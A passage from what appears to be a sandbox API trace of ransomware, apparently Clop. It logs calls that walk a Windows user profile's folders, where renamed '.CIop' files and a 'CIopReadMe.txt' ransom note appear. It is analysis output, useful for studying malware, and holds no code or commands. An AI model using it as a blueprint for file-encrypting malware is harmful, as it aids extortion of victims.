(pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0128.193] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0128.193] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.193] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.193] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0128.194] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0128.194] lstrlenW (lpString="ntuser.dat") returned 10 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0128.194] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0128.194] lstrlenW (lpString="ntuser.dat") returned 10 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0128.194] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0128.194] lstrlenW (lpString="ntuser.dat") returned 10 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0128.194] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0128.194] lstrlenW (lpString="ntuser.dat") returned 10 [0128.194] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.194] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0128.195] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0128.195] lstrlenW (lpString="ntuser.dat") returned 10 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0128.195] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0128.195] lstrlenW (lpString="ntuser.dat") returned 10 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0128.195] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0128.195] lstrlenW (lpString="ntuser.ini") returned 10 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.195] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.195] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.195] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.196] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0128.196] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0128.196] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0128.196] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0128.196] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.196] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.196] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.196] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0128.196] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0128.196] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0128.196] SetErrorMode (uMode=0x1) returned 0x1 [0128.196] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0128.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0128.196] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0128.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0128.196] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.197] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0128.197] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0128.197] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.197] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0128.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0128.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.197] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0128.197] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0128.197] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.197] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.197] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0128.197] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0128.197] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0128.197] SetErrorMode (uMode=0x1) returned 0x1 [0128.197] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0128.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0128.197] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0128.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.198] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0128.198] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0128.198] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.198] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0128.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.198] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0128.198] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0128.198] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.198] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.198] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0128.198] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0128.198] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0128.198] SetErrorMode (uMode=0x1) returned 0x1 [0128.198] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0128.198] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0128.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0128.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.199] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0128.199] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0128.199] lstrlenW (lpString=".CIop") returned 5 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0128.199] lstrlenW (lpString=".CIop") returned 5 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0128.199] lstrlenW (lpString=".CIop") returned 5 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.199] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.199] lstrlenW (lpString="desktop.ini") returned 11 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.199] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0128.199] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0128.199] lstrlenW (lpString=".CIop") returned 5 [0128.199] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0128.200] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0128.200] lstrlenW (lpString=".CIop") returned 5 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.200] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.200] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.200] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0128.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0128.200] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.200] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0128.200] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.201] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.201] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.201] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.201] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.201] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.201] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0128.201] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0128.203] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0128.203] SetErrorMode (uMode=0x1) returned 0x1 [0128.203] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0128.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0128.203] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0128.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0128.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.203] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0128.203] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0128.203] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.203] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0128.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0128.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0128.204] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0128.204] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.204] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.204] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0128.204] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0128.204] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0128.204] SetErrorMode (uMode=0x1) returned 0x1 [0128.204] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0128.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0128.204] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0128.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0128.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0128.204] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.204] lstrlenW (lpString="Desktop") returned 7 [0128.204] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.204] lstrcpyW (in: lpString1=0x2dca668, 